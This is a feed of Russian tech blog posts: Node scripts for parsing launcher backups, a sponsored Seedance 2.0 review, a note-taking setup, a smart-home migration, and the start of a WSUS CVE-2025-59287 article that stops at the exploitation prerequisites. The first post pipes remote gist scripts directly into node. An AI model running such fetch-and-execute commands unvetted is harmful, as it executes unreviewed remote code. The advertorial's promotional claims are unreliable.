То есть это не JSON, не структура, а просто строка, которую нужно парсить регулярками. ОК, парсим… ты давай, генерируй-генерируй, не захлебнись…

Вот метод

function parsePackageFromIntent(intent) {
  if (!intent || typeof intent !== 'string') return null;
  // Pattern 1: URI-style "#Intent;...;component=com.pkg/.Activity;end"
  let m = intent.match(/(?:component=)([^\/;\s]+)\//);
  if (m && m[1]) return m[1];
  // Pattern 2: "Intent { ... cmp=com.pkg/.Activity }"
  m = intent.match(/(?:\bcmp=)([^\/\s}]+)\//);
  if (m && m[1]) return m[1];
  // Pattern 3: "cmp=com.pkg/.Something" (fallback parsing)
  m = intent.match(/\bcmp=([^\s;}]+)/);
  if (m && m[1]) return m[1].split('/')[0];
  // Pattern 4: "package=com.pkg"
  m = intent.match(/\bpackage=([^\s;]+)/);
  if (m && m[1]) return m[1];
  return null;
}

В итоге пришлось сделать несколько паттернов:

component=com.pkg/...
cmp=com.pkg/...
fallback на package=com.pkg

Если ни один не сработал, то считаем, что пакет неизвестен, выкидываем фуфло.

Как выглядит JSON-вывод

Логика в итоге довольно простая:

берём список папок;
индексируем ярлыки по container;
для каждой папки:
- находим все ярлыки с нужным container;
- вытаскиваем из них package и title;
- собираем в итоговую структуру.

Получается примерно такая модель:

{
  "folderId": 123,
  "folderTitle": "Мессенджеры",
  "screenId": 0,
  "items": [
    {
      "package": "org.telegram.messenger",
      "title": "Telegram"
    }
  ]
}

Ничего лишнего. Остальные поля всё равно от лаунчера к лаунчеру разня́тся…

Теперь человекочитаемый формат

Поэтому второй выход - обычный текст. Тут магии нет, тупо маппинг:

• Folder "Мессенджеры" [id=123, screen=0] - 5 item(s)
   - Telegram  <org.telegram.messenger>
   - WhatsApp  <com.whatsapp>

Краткая инструкция для использования:

Очищаем бекап от мусора:

Bash:

wget -qO- https://gist.githubusercontent.com/Kenya-West/60f6297e16b8991204f2ee8073f298fa/raw/bc2458a11d42fbe92bd83de76b2aaef701306d8b/script.js | node - ./launcher_backup_main.json ./cleaned.json --unwrap-strings

PowerShell:

irm https://gist.githubusercontent.com/Kenya-West/60f6297e16b8991204f2ee8073f298fa/raw/bc2458a11d42fbe92bd83de76b2aaef701306d8b/script.js | node - .\launcher_backup_main.json .\cleaned.json --unwrap-strings

Конвертируем в нужный формат:

Bash:

wget -qO- https://gist.githubusercontent.com/Kenya-West/29049f39aeaf9d3b6730fc3ad529047c/raw/6c0cb3bfce733d603128975caeabe474d7859925/script.js | node - ./cleaned.json --json-out ./list.json --text-out ./list.txt

PowerShell:

irm https://gist.githubusercontent.com/Kenya-West/29049f39aeaf9d3b6730fc3ad529047c/raw/6c0cb3bfce733d603128975caeabe474d7859925/script.js | node - .\cleaned.json --json-out .\list.json --text-out .\list.txt

Ну или всё сразу:

Bash:

wget -qO- https://gist.githubusercontent.com/Kenya-West/60f6297e16b8991204f2ee8073f298fa/raw/bc2458a11d42fbe92bd83de76b2aaef701306d8b/script.js | node - ./launcher_backup_main.json ./cleaned.json --unwrap-strings
wget -qO- https://gist.githubusercontent.com/Kenya-West/29049f39aeaf9d3b6730fc3ad529047c/raw/6c0cb3bfce733d603128975caeabe474d7859925/script.js | node - ./cleaned.json --json-out ./list.json --text-out ./list.txt

PowerShell:

irm https://gist.githubusercontent.com/Kenya-West/60f6297e16b8991204f2ee8073f298fa/raw/bc2458a11d42fbe92bd83de76b2aaef701306d8b/script.js | node - .\launcher_backup_main.json .\cleaned.json --unwrap-strings
irm https://gist.githubusercontent.com/Kenya-West/29049f39aeaf9d3b6730fc3ad529047c/raw/6c0cb3bfce733d603128975caeabe474d7859925/script.js | node - .\cleaned.json --json-out .\list.json --text-out .\list.txt

Получается всё довольно красиво:

JSON

TXT

Вывод

Фуф, навайбкодил. Подписка, купленная на честные $20, вполне себя оправдала. Но ушло на это 5 диалогов, так как нейросеть где-то на 10 сообщении уже начинает плыть. Системный промпт особо не помогал, ну и зачем он нужен, когда он распространяется на все диалоги, а мне нужно только на конкретно эти пять? Придумали бы общий контекст для диалогов, тег какой-нибудь общий или папку… Ушло на всё про всё пять дней, так как дебаг сгенерированного кода - дело небыстрое.

Два скрипта сделаны не просто так, а потому что первый из них - JSON Media Cleaner - это универсальный инструмент, который может пригодиться не только для Microsoft Launcher, но и для других случаев, когда нужно очистить JSON от мусора. Он может быть полезен для любых бекапов, которые содержат закодированные данные.

Ну, а второй пусть кушает очищенный от первого скрипта JSON и выдаёт уже конкретно структуру домашнего экрана. Он уже специфичный для Microsoft Launcher.

В результате получаем:

компактный JSON;
удобный текстовый файл.

А дальше уже можно делать что угодно:

переносить вручную;
писать конвертер под другой лаунчер;
или просто хранить это как документацию своего сетапа.

Таким образом, мы (“кто мы-то <…>, я один здесь на**й!” © Зелёный слоник) решили задачу получения текстового и машиночитаемого представления из Microsoft Launcher, несмотря на все приколы с его бекапами. Теперь у нас есть инструмент, который может помочь нам сохранить и перенести нашу домашнюю экранную конфигурацию в будущем.

Генератор видео Seedance 2.0: Обзор нейросети, гайд по промптам, способы доступа из России

Fri, 17 Apr 2026 17:30:21 +0000

Полный разбор нейросети Seedance 2.0 от ByteDance. Узнайте, как генерировать реалистичные видео со звуком, писать промпты и работать с ИИ в России.

Генерация роликов вслепую осталась в прошлом. Весной 2026 года ByteDance выкатила Seedance 2.0, превратив алгоритм в полноценный режиссерский пульт. Теперь мы можем жестко контролировать сцену: фиксировать лица через исходники, прописывать траекторию камеры и управлять нативным звуком, который создается прямо вместе с видеорядом. В этой статье препарируем квадромодальный ввод, разбираем скрытые лимиты нейросети, делимся рабочими промптами и показываем, как легко использовать один из лучших генераторов видео из России.

🎥 Перейти к генератору видео Seedance 2.0 (доступен из РФ без VPN)

Возможности Seedance 2.0, лимиты и цензура

Весной 2026 года Seedance 2.0 задала жесткую планку для индустрии. Модель позволяет генерировать цельные сцены длительностью до 15 секунд за один проход. Оптимальное рабочее разрешение (sweet spot) составляет 1080p — именно в этом формате получается чистая студийная картинка с высокой детализацией текстур.

Уровень контроля над кадром здесь беспрецедентный. Нейросеть отлично понимает физику тяжелых объектов, кинематику человеческого тела и сложные операторские термины. Вы можете максимально точно описывать движения камеры: фокусное расстояние, скорость зума, трекинг за объектом или имитацию дрожащей съемки с рук (handheld). Система также удерживает консистентность — лица, логотипы и детали одежды не "плывут" при повороте головы или смене ракурса.

Что касается цензуры, алгоритмы ByteDance работают строго, но логично. Модель категорически отказывается генерировать откровенный NSFW-контент (18+), "слоп" (низовой мусорный контент) и экстремально кровавые сцены. При этом кинематографичные боевые постановки, фехтование, мрачная эстетика или триллеры проходят внутренние фильтры без проблем.

🎥 Создать свое видео в Seedance 2.0

Нативный звук и продвинутый инструментарий

Главная победа архитектуры — технология Unified Generation. Большинство алгоритмов прошлого поколения создавали немое кино, звук для которого приходилось подбирать и клеить в видеоредакторах. Seedance генерирует визуальный ряд и аудио одновременно. Система сама создает интершум, лязг металла, шаги по лужам и саундтрек, идеально попадая в тайминги событий на экране.

На практике этот функционал открывает серьезные возможности:

Глубокий Lip-sync: Если загрузить портрет и аудиофайл, нейросеть не просто заставит персонажа открывать рот. Она проанализирует аудио, учтет микровибрации, дыхание и подстроит мимику под эмоцию или крик. Поддерживается более восьми языков.
Перенос движений (Video-to-Video): Вы можете снять проходку на камеру телефона, загрузить ролик в нейросеть, и алгоритм перенесет вашу пластику на сгенерированного персонажа, перерисовав окружение в любой стиль — от аниме до кибер-эстетики.
Внутренний монтаж: В рамках 15-секундного лимита алгоритм способен самостоятельно делать логичные режиссерские склейки. Например, начать сцену с общего плана города и плавно перейти на крупный план лица героя.

Протестировать весь этот функционал без сложных настроек, поиска рабочих VPN-сервисов и оформления зарубежных банковских карт можно через удобный агрегатор нейросетей Study AI. Это оптимальная точка входа для пользователей из России. Платформа дает доступ к передовым моделям в понятном интерфейсе, позволяя сразу перейти к практике и созданию собственных проектов.

Полный процесс генерации видео в Seedance 2.0 и гайд по промптам

Создание ролика здесь похоже на увлекательную игру в режиссера. Чтобы получить предсказуемый результат, нужно понимать логику работы системы.

Шаг 1: Подготовка референсов (Сбор материалов)

Текст - это хорошо, но исходные файлы дают максимальный контроль. Модель работает по правилу 12 слотов. Вы можете загрузить до 9 изображений, до 3 видео (каждое не длиннее 15 секунд) и до 3 аудиофайлов (тоже до 15 секунд).

Отличный совет для старта: не ищите готовые картинки в сети. Создайте идеальный стартовый кадр в мощной текстовой модели. Например, используйте Nano Banana 2, чтобы сгенерировать безупречную композицию или уникального персонажа. Полученное изображение загружайте в Seedance 2.0 как базу для дальнейшего оживления. Вы также можете загрузить собственное видео с камеры телефона, чтобы перенести с него нужную траекторию движения объекта или камеры.

Шаг 2: Написание промпта (Рабочий синтаксис)

Забудьте про длинные литературные описания, который любит Veo 3.1 и прекрасно понимала Sora 2. В Seedance 2.0 работает строгая структура.

Синтаксис тегов @Asset: Вы напрямую указываете нейросети, как использовать загруженные файлы. Например: "Взять внешность персонажа из @Image1, физику движения камеры перенести из @Video1, а темп сцены выстроить по ритму @Audio1".
Формула идеального кадра: Стройте запрос логически. Сначала Объект (описание героя) -> затем Действие (физические глаголы) -> Камера (крупность плана и движение объектива) -> Стиль (освещение и текстуры).
Таймлайн-управление: Для сложных сцен прописывайте тайминг. "0-4 сек: Общий план, герой идет по улице. 4-9 сек: Крупный план лица, герой улыбается".

Продвинутые механики: Точечные референсы и бесшовное продление (Seamless Extension)

Когда базовой формулы становится недостаточно, включается глубокая работа с исходниками. Опыт профильных платформ для автоматизированного видеомонтажа (таких как CrePal) показывает, что нейросеть великолепно понимает уточнения на естественном языке. Вы можете буквально "разбирать" загруженные файлы на запчасти прямо внутри текстового запроса.

Допустим, вы добавили референсный ролик, где машина едет по ночному городу под дождем. Вам не нужна сама машина, вам нужен только стиль съемки и атмосфера. Вы прописываете: "Взять из @Video1 исключительно эффект капель на объективе и физику дрожания камеры, применить это к объекту из @Image1". Алгоритм вытащит только нужные визуальные эффекты, полностью проигнорировав оригинальный автомобиль и фон.

Вторая крутая возможность — функция бесшовного продолжения видео. Если сгенерированный фрагмент получился удачным, но обрывается на самом интересном месте, его можно загрузить обратно как базу. Вы указываете желаемое количество дополнительных секунд, и система дорисовывает сцену дальше. При этом сохраняется идеальная непрерывность: от траектории шага до освещения и складок на одежде персонажа. Важный технический нюанс: длина новой генерации должна строго соответствовать времени желаемого расширения сцены.

Шаг 3: Генерация и результат

После отправки запроса система выдает короткие драфты (от 8 до 15 секунд) с уже встроенным звуком. Вам остается только оценить плавность физики и консистентность деталей.

🎥 Сгенерировать видео в Seedance 2.0

Под капотом Seedance 2.0: Технический разбор для гиков

Для технически подкованной аудитории будет интересно узнать, как именно достигается такой уровень реализма.

Архитектура Dual-Branch позволяет обрабатывать аудио и видео параллельно. Модель считывает микровибрации лица и особенности дыхания из аудиофайла, подстраивая под них мимику генерируемого персонажа. Именно поэтому встроенный звук всегда выглядит органичнее, чем звук, наложенный на этапе постпродакшена.

Отдельного внимания заслуживает продвинутый физический движок. Система отлично рассчитывает гравитацию, инерцию и вес объектов. Исчезла проблема "невесомости" предметов, которой страдали ранние генераторы видео.

Механика Multi-Shot Storyboarding (нативное мультикадровое планирование) дает модели возможность самой рассчитывать логичные склейки планов. Она может плавно перевести камеру от общего плана к детальному, сохраняя стопроцентную консистентность лиц, текстур одежды и источника света.

Слепые зоны модели и ограничения

Даже у самых продвинутых алгоритмов есть свои слабости, о которых нужно знать до начала работы.

Обращайте внимание на особенности масштабирования. Идеальное разрешение для этой нейросети (ее sweet spot) составляет 1080p. При попытках агрессивного апскейла (искусственного увеличения разрешения) или сильного зуммирования начинают появляться артефакты. Мелкие детали на заднем фоне могут терять четкость, а лица в плотной толпе иногда сливаются.

Процент успешных генераций держится на уровне 90%. Иногда случаются сбои при расчете сложной анатомии, например, при переплетении пальцев во время рукопожатия.

Также встроены фильтры безопасности, которые надежно защищают платформу от создания неприемлемого контента и сцен жестокости.

Сравнение с конкурентами: Какая нейросеть лучше справляется с задачами?

Монополии на генерацию контента больше не существует. Рынок разделен на несколько крупных лагерей, где каждый алгоритм заточен под свои специфические процессы. Основная битва за внимание продакшен-команд и независимых авторов сейчас развернулась между Seedance 2.0, популярным в народе Kling 3.0 и мощным Google Veo 3.1.

Чтобы понять, какой инструмент выбрать под конкретную задачу, важно смотреть не на красивые рекламные шоурилы, а на сухие технические ограничения архитектуры.

Глубина контроля сцены: Seedance удерживает безусловное лидерство за счет квадромодальности. Возможность загрузить одновременно текст, стартовое фото, референсное видео для физики и аудиофайл дает хирургическую точность. Kling 3.0 и Veo 3.1 предлагают более классический пайплайн (текст + картинка), оставляя меньше пространства для жесткой режиссуры.
Работа со звуком: Технология Unified Generation от ByteDance генерирует визуальный ряд и аудиодорожку в едином процессе. Звук шагов или звон разбитого стекла идеально совпадает с физикой в кадре. Большинство других платформ используют алгоритмы пост-генерации (звук накладывается поверх уже готового видео), что часто приводит к рассинхрону в доли секунды.
Хронометраж и монтаж: Критичный нюанс, о котором редко пишут. Модель Kling 3.0 испытывает серьезные трудности с генерацией роликов строго заданной длины единым цельным куском. Это сильно ломает процесс, если вам нужен точный тайминг для музыкального клипа. Seedance выдает монолитные блоки до 15 секунд без "провисаний" динамики.
Порог входа: Kling 3.0 — идеальный выбор для быстрых тестов. Алгоритм прощает короткие, ленивые промпты и сам додумывает детали, выдавая красивую картинку. Seedance требует вдумчивой работы, четкого синтаксиса и подготовки референсов, но взамен отдает полный контроль над результатом.

Seedance 2.0 vs Kling 3.0 vs Veo 3.1

Для наглядности мы собрали главные технические параметры флагманских моделей в единую матрицу. Это поможет быстро оценить возможности каждого движка.

Характеристика	Seedance 2.0	Kling 3.0	Google Veo 3.1
Тип ввода (Модальность)	Квадромодальный (Текст + Фото + Видео + Аудио). До 12 файлов за раз.	Бимодальный (Текст + Фото).	Мультимодальный (Текст + Фото + Базовое видео).
Максимальная длина сцены	До 15 секунд (единым рендером).	До 10 секунд (часто требует склейки для сложных сцен).	До 12 секунд.
Генерация звука	Нативная (встроена в процесс рендера видео). Идеальный тайминг.	Пост-генерация. Базовые шумы.	Нативная, с глубокой интеграцией эффектов студийного качества.
Синхронизация губ (Lip-sync)	Да (продвинутая, считывает дыхание, 8+ языков).	Только через сторонние инструменты.	Да (высокая точность).
Контроль работы камеры	Максимальный. Точное понимание фокусного расстояния, трекинга, тряски.	Средний. Часто игнорирует сложные операторские команды.	Высокий. Отличная симуляция кинообъективов.
Консистентность (удержание лиц)	Высокая. Выдерживает смену планов и ракурсов.	Средняя. Лица могут "плыть" при активном движении.	Очень высокая (идеально для крупных планов).
Целевое использование	Кино-продакшен, музыкальные клипы, сложная реклама.	SMM, Reels, Shorts, мемы, быстрый креатив.	Студийная графика, корпоративный сегмент.

Почему Seedance 2.0 стоит попробовать прямо сейчас

Seedance 2.0 открывает фантастический простор для экспериментов. Это захватывающий опыт, где каждый может создать мини-фильм высокого качества без команды операторов и звукорежиссеров.

Не откладывайте знакомство с этой технологией. Заходите на Study AI, напишите свой первый промпт, сгенерируйте идеальную стартовую картинку через Nano Banana 2 и превратите ее в живое, динамичное видео с крутым звуком. Это проще, чем кажется, и невероятно увлекательно.

Реклама. ООО «ДИДЖИТАЛ ГЕНИУС». ИНН 7813681158

Дневник, заметки, рабочий лог — как они у меня оказались в одной папке

ken48 — Fri, 17 Apr 2026 17:16:53 +0000

Я уже много лет веду записи в трех разных форматах: заметки, личный дневник и рабочий лог. Они появились в разное время, велись с разной регулярностью и хранились по отдельности.

Заметки

Фотоальбом маленьких открытий: заметил связь, сложилось понимание, записал. Запись дает мысли форму, и мысль перестает крутиться внутри. Тут работает эффект Зейгарник: незавершенное держит внимание, завершенное отпускает. По сути психогигиена.

Поэтому заметка для меня не черновик, который когда-нибудь дозреет до статьи, а способ запечатлеть мысль. Если тема возвращается позже, она приходит заново, с другим пониманием, и я просто пишу новую заметку. В этом отличие от second brain. Там заметка — объект, который дорабатывают, связывают с другими, собирают в общую картину. У меня заметка — именно снимок. Иногда она может стать публичной в виде поста в блоге или даже основы для статьи, но это, скорее, побочный эффект.

Личный дневник

Дневник я веду нерегулярно, только когда есть запрос. Это не хроника событий, а способ разбираться с внутренними процессами — мне в письменном виде это проще, чем крутить в голове.

В отличие от заметки, которая фиксирует мысль или наблюдение, дневниковая запись помогает разобраться с личной ситуацией. Иногда из такого разбора потом вырастает и заметка — уже как наблюдение более общего характера.

Рабочий лог

В роли руководителя нужно помнить конкретику: кто что сделал, как повел себя на встрече, где что-то пошло не так, какое решение было принято и почему. Без записи это быстро стирается, а в ретроспективе и на ревью общими словами уже не отделаешься. По сути это внешняя память, хронология наблюдений, которую можно поднять по необходимости. Ценность этой практики в фиксации фактов, а не их интерпретаций, как в заметках и дневнике.

ИИ-ретроспектива

Все поменял ИИ. С записями стало возможно работать как аналитику с базой данных: задавать вопросы, искать закономерности на любом временном масштабе. Ретроспектива, которая раньше требовала ручного разбора, стала дешевой.

Сначала я использовал это только для работы — там фокусы понятны заранее: команда, процессы, решения. Для личных вопросов фокусы заранее не определишь, но теперь это уже не обязательно: можно просто записывать, ИИ сам увидит, на что стоит посмотреть. Так к рабочему логу добавился сначала личный дневник, а потом и заметки. Теперь у меня одна база, где каждая запись — просто текст с датой, и единственным решением остается только писать или не писать.

Время как связь

В объединенной базе я ничего не связываю вручную — ни тегов по темам, ни ссылок между записями. Связь восстанавливается по факту соседства во времени: что лежит рядом, то и связано. Теги я не использую сознательно, потому что это попытка классифицировать запись заранее. Дата такой проблемы не создает.

Интересное в этом, что ИИ в такой базе умеет находить связи: что повторяется, что проявляется в разных контекстах одинаково, что расходится с тем, что я сам про себя думаю. Например, один и тот же внутренний процесс часто проявляется сразу в нескольких сферах, но внешне выглядит как разные истории. Попытка справиться с тревогой неопределенности в рабочем логе может отразиться как эпизод микроменеджмента, в дневнике — как гиперопека детей, а в заметках — как упоминание темы лидерства.

Как устроено

В основе — plain text, git, локальные файлы. На практике это Markdown, Obsidian, GitHub. Синхронизация между телефоном и компьютером происходит через git-плагины — бесплатно и без привязки к одной экосистеме.

Obsidian настроен так, что новая запись сразу создается в нужной папке с датой через core plugin "Daily note".

Структура папок:

raw/
└─ 2026/
   └─ 03/
      └─ 2026-03-14 Topic.md
      └─ 2026-03-14 12-30-00.md

retros/
└─ 2026/
   └─ 2026-03.md
   └─ 2026.md

agents.md

Имя файла содержит дату и, если есть, тему. Папки YYYY/MM дублируют дату — это сознательная избыточность: связи между записями она не меняет, но навигация в архиве (и для меня, и для ИИ) становится быстрее.

Теги только для фильтрации:

#work — для рабочего подмножества;
#public — для кандидатов на публикацию;
#agent с указанием модели — в файлах ретроспектив.

Больше ничего, ссылок тоже нет.

Для ИИ-ретроспектив в корне лежит agents.md — описание структуры данных, чтобы агент понимал, где что лежит и как записи соотносятся между собой. Конкретные вопросы задаются в момент запроса. Если интересно посмотреть на мой agents.md, вот ссылка на репозиторий с этой статьей, где в корне лежит этот файл.

Форматирование в markdown мне надоело поддерживать руками, и я сделал для macOS Textops — аналог code formatter в IDE. По хоткею он нормализует списки, пробелы, капитализацию, тире. Орфография и смысл не трогаются.

Плюс 1. Ретроспектива глубже

ИИ берет записи за любой период и сжимает в обзор. Обзоры сжимаются дальше: месячные в годовые, годовые в общую картину. Каждый уровень снижает стоимость анализа, а исходные записи остаются нетронутыми. И вопросы теперь можно задавать не только про работу:

Что сейчас в моей жизни главное и как мне в этом?
На чем в последнее время чаще всего оказывается мое внимание?
Совпадает ли то, что я считаю главным, с тем, что реально занимает внимание?
Что дает энергию, а что забирает?
Что повторяется, но не сдвигается?
Что выпадает из поля зрения?

Плюс 2. Запись дешевле

Больше не нужно решать на входе, куда отнести эту конкретную мысль — заметки, дневник или лог. Все идет в одну папку одним потоком.

Итого

Получился единый архив, связанный временем. Тот же принцип, что и в моем едином календаре из предыдущей статьи: там время организует действия, здесь — записи.

8 лет на MajorDoMo и переход на osysHome: как я переезжал без отключения дома

Anisan — Fri, 17 Apr 2026 17:15:56 +0000

Переезд начался не из-за какой-то аварии. Просто в какой-то момент я понял, что мне уже неприятно лишний раз лезть в сценарии: одна правка тянула за собой еще несколько проверок.

В какой-то вечер полез поправить один старый сценарий. Дальше, как обычно, пришлось проверить соседние связи, потом еще один кусок логики, потом еще. На этом и поймал себя: система вроде работает, а трогать ее лишний раз уже не хочется.

Тогда я и решил, что пора переезжать.

Сразу скажу: osysHome я пишу сам. Поэтому это не обзор рынка и не попытка кого-то переубедить. Просто рассказываю, как переезжал у себя дома.

Почему я вообще задумался о миграции

С MajorDoMo я прожил восемь лет. Это был не тестовый стенд и не история «поставил, поигрался и забыл». За эти годы система обросла устройствами, интеграциями, уведомлениями, фоновыми скриптами, служебной логикой и всем тем хозяйством, которое сначала кажется временным, а потом живет годами.

Долгое время меня всё устраивало. Но система росла, и вместе с ней начали копиться вещи, которые по отдельности вроде терпимы, а вместе утомляют:

автоматизации местами стали откликаться не так быстро, как раньше;
с данными работать было уже не очень удобно;
доступы тоже хотелось держать в более понятном виде, без лишней обвязки;
а со сценариями стало совсем тяжело: любая правка тянула за собой ручную проверку.

Последний пункт для меня оказался самым важным. Когда у тебя большая система, проблема обычно уже не в том, можно ли сделать еще одну автоматизацию. В какой-то момент даже мелкая правка перестала быть мелкой: полез на 10 минут, а завис на весь вечер.

Но переезжал я не потому, что osysHome мой.

Проблемы, конечно, никуда не делись. Просто с osysHome мне удобнее разбираться со своим хозяйством.

Как выглядел мой стенд

Железо у меня довольно простое: SOYO M4 AIR N95 16GB+512GB, крутится всё это на Ubuntu Server 25.10.

То есть никакой отдельной стойки, ничего героического. Обычный домашний сервер, на котором живет автоматизация.

По интеграциям после переезда у меня остались:

MQTT;
Zigbee2MQTT;
ESPHome;
miio;
OpenHasp;
ThinQ;
Keenetic.

В системе около 200 объектов. И это не только конечные устройства вроде реле и датчиков. Там же и виртуальные сущности, и служебные объекты, и вся связующая логика между ними.

Текущий контур в osysHome после переезда: часть объектов, устройств и служебной логики.

Отдельно скажу про Xiaomi. Больше всего времени у меня неожиданно съели именно эти устройства: пылесос, люстра, увлажнитель и даже поилка для животных. Снаружи это выглядит как обычная бытовуха. По факту именно на этом я потерял больше вечеров, чем хотел бы.

Почему я ушел именно на osysHome

Тут, понятно, ответ не может быть полностью нейтральным: osysHome я и делал в том числе под те вещи, которые меня раздражали в старом контуре.

Но это всё равно не было автоматическим решением из серии «перейду на свое, потому что свое». Мне нужна была система, в которой мне самому будет проще разбираться через полгода, когда опять полезу что-то менять. Не демонстрировать фичи, а именно сопровождать реальный дом: что-то добавлять, что-то менять, не бояться лишний раз полезть в систему.

Хотелось более понятную объектную структуру, внятную работу со свойствами и методами, нормальный плагинный подход и доступы, которые не надо каждый раз отдельно подпирать. Короче, систему, в которой потом самому не больно копаться.

Для меня это был главный критерий. Не «какая система лучше вообще», а «в какой системе мне будет легче жить со своим хозяйством через полгода и через год».

Как я организовал сам переезд

Главное, что я сделал правильно, — не стал переносить всё разом.

osysHome я поднял рядом с MajorDoMo. Какое-то время обе системы работали параллельно. Мне такой подход был сильно ближе, чем классическая схема с одним большим вечером переключения, после которого надо срочно тушить всё, что внезапно не поехало.

Сначала я поднял интеграции и добился простой вещи: устройства должны нормально определяться и управляться руками. Пока команда не проходит вручную и состояние не читается стабильно, про перенос сценариев даже думать рано.

Потом начал собирать структуру объектов уже в osysHome. Не просто копировать старое один в один, а раскладывать это так, как мне потом будет удобно с этим жить.

После этого пошел в автоматизации. Тут правило было простое: сначала делаю и проверяю в osysHome, потом отключаю старый кусок в MajorDoMo. Не наоборот.

За счет этого у меня на каждом этапе оставалась рабочая система. Это, наверное, и было самым важным. Не «быстрый переезд», а переезд без ощущения, что одним неверным движением можно оставить дом в полуразобранном состоянии.

Вот на этом этапе я уже переносил группы устройств и их логику, а старые куски в MajorDoMo отключал только после проверки.

Как я переносил устройства

Я довольно быстро понял, что удобнее переносить группами по функциональности. Так я меньше путался.

То есть логика была такая: сначала реализую нужный класс, потом добавляю объекты, потом привязываю их к реальным устройствам и проверяю всё это уже в живом контуре.

Делал я это в основном по вечерам. Обычно за вечер получалось собрать пару групп. Такой темп меня устраивал, потому что можно было не спешить и не пытаться за один заход перевезти полдома.

Так проще понять, где именно что-то сломалось. Когда переносишь кусок логики целиком, быстрее понимаешь, где именно что-то пошло не так: в интеграции, в объектной модели, в сценарии или вообще в дубле, который ты забыл отключить в старой системе.

Что пришлось заодно переделать

Переезд получился не совсем «один в один». Раз уж я полез глубоко в контур, заодно пересобрал часть вещей так, как давно хотел.

На ESPHome у меня в итоге ушли:

реле, которые раньше были на Tasmota;
bluetooth gateway для сбора данных с bluetooth-сенсоров;
бегущая строка на MAX7219;
Modbus-конвертер для чтения данных со счетчика.

Это, конечно, добавило работы. Но, если честно, я не жалею. Иногда, когда и так уже вскрываешь систему, проще сразу привести часть узлов в порядок, чем аккуратно перетаскивать в новую платформу всё старое, включая то, что давно хотелось переделать.

Часть устройств, которые я заодно перевел на ESPHome во время миграции.

Что оказалось самым долгим

Самое долгое — не установка и не базовая настройка. Больше всего времени ушло на две вещи.

Первая — старая логика. Такие домашние системы живут долго, и в них всегда есть сценарии, которые когда-то делались «на вечер», потом прижились, потом обросли зависимостями, а через пару лет уже не так просто вспомнить, почему там вообще всё устроено именно так.

Вторая — Xiaomi. Вот здесь я реально завис заметно дольше, чем рассчитывал. Причем не на чем-то экзотическом, а на вполне бытовом наборе: пылесос, люстра, увлажнитель, поилка для животных. Поилка для животных вообще заняла непропорционально много времени.

Весь переход в сумме занял около двух недель. Но это были не две недели «поставил и готово». Это были обычные вечерние сессии: сделал кусок, проверил, что-то поправил, перенес следующую группу, посмотрел, нет ли дублей, и только потом пошел дальше.

Что дал параллельный запуск двух платформ

Если смотреть назад, это и было самым правильным решением.

Параллельный запуск сильно упростил переезд. Не нужно было устраивать один большой день переключения и потом судорожно ловить последствия. Можно проверять всё по частям, не торопиться и сразу видеть, где реальная проблема, а где просто забытый хвост от старой логики.

Для меня это дало несколько очень простых плюсов:

дом продолжал жить как обычно;
можно было спокойно откатиться, если что-то не понравилось;
быстрее было видно, где именно проблема;
не приходилось пытаться перевезти всё за один вечер.

В результате никакой отдельной «ночи миграции» у меня не случилось. В какой-то момент я просто понял, что в MajorDoMo уже почти ничего важного не осталось. После этого остановил его, еще немного понаблюдал за системой уже на одном osysHome и потом окончательно убрал старый контур.

Что я получил после переезда

Специально не буду писать, что «всё стало в три раза быстрее». У меня нет таких цифр. Я не делал синтетических тестов и не хочу их придумывать.

Но в повседневной жизни изменения заметны.

Во-первых, стало спокойнее лезть в автоматизации и что-то менять.

Во-вторых, упростилось поддержка сценариев. На таком размере системы уже важнее не то, как быстро добавить что-то новое, а сколько сил потом уходит на поддержку.

В-третьих, мне стало легче поддерживать порядок в доступах и в структуре логики. Для большого домашнего контура это важнее, чем кажется в начале пути.

Если коротко, хотелось, чтобы система отнимала меньше сил. В моем случае это получилось.

Что в osysHome меня самого не устраивает

После переезда, понятно, не стало идеально.

У osysHome есть свои минусы.

Новому человеку в osysHome, думаю, будет тяжеловато въехать с нуля. Мне в этой модели удобно, потому что я ее собирал под себя. Человеку со стороны, особенно если он привык к другой логике, въехать будет тяжелее.

Не всё есть из коробки. Часть вещей я до сих пор просто делаю руками. Там, где зрелые старые системы накопили длинный шлейф модулей и типовых сценариев, у меня часть вещей всё еще проще сделать руками.

Документация, как это обычно бывает, за кодом не поспевает. И это не красивая оговорка, а обычная проблема таких проектов: код живет быстрее, чем его описание.

Минусы остались, но с osysHome мне просто удобнее жить и что-то менять по ходу.

Итог

Я переезжал не ради новизны. И уж точно не потому, что захотелось срочно уйти на свою систему. В какой-то момент мне просто надоело, что на поддержку MajorDoMo уходит слишком много сил.

У меня это сработало. Переезд не был быстрым, местами был нудным, особенно на Xiaomi, но в итоге с системой стало просто легче. Я перенес всё без резкого отключения старой схемы и заодно переделал несколько вещей, до которых давно не доходили руки.

Всем ли нужен такой переезд? Конечно, нет. Если ваш стенд на MajorDoMo работает стабильно, не раздражает в сопровождении и не заставляет каждый раз бояться правок, то, возможно, ничего менять и не надо.

Но если система уже разрослась и начала отнимать слишком много сил, постепенный переезд тоже может быть нормальным вариантом. У меня это сработало.

Путаница в уязвимостях WSUS: ставим все на свои места

Fri, 17 Apr 2026 17:14:21 +0000

Одной из самых актуальных уязвимостей в Windows Server Update Services (WSUS) стала критическая ошибка с идентификатором CVE-2025-59287 и оценкой CVSS 9.8. Она связана с десериализацией недоверенных данных в службе обновления Windows Server и позволяет неавторизованному удаленному злоумышленнику выполнить код на сервере, отправив специально сформированное событие.

В разборах эксплуатации шаги были указаны некорректно, так как их взяли из статьи. Однако позже авторы сами ее исправили и указали, что разбор относится к CVE-2023-35317, тогда как анализ CVE-2025-59287 перенесли в отдельную статью.

Это вызвало путаницу в многочисленных репостах, поэтому мы решили расставить все точки над i и заодно показать, как атакующий может восстановить оснастку после эксплуатации уязвимости.

Статья носит исключительно информационный и образовательный характер и не является инструкцией или призывом к совершению противоправных действий. Описанные материалы предназначены для повышения осведомленности о возможных уязвимостях и методах их предотвращения. Любое тестирование безопасности допускается только при наличии явного разрешения правообладателя соответствующих ресурсов или в рамках официальной программы багбаунти. Несанкционированные действия могут нарушать законодательство. Автор статьи не поощряет и не поддерживает неправомерное использование представленной информации и не несет ответственности за ее использование в противоправных целях. Помните, что нужно уделять внимание защите своих данных и использовать информацию из статьи исключительно в законных целях.

Технические детали эксплуатации

Напомним условия для эксплуатации:

Сервер Windows с включенной ролью WSUS Server (по умолчанию отключена);
Неустановленные обновления KB5070879 / KB5070881 / KB5070882 / KB5070883 / KB5070884 / KB5070886 / KB5070887;
Сетевой доступ к портам 8530 (HTTP) или 8531 (HTTPS);
Учетные данные не требуются.

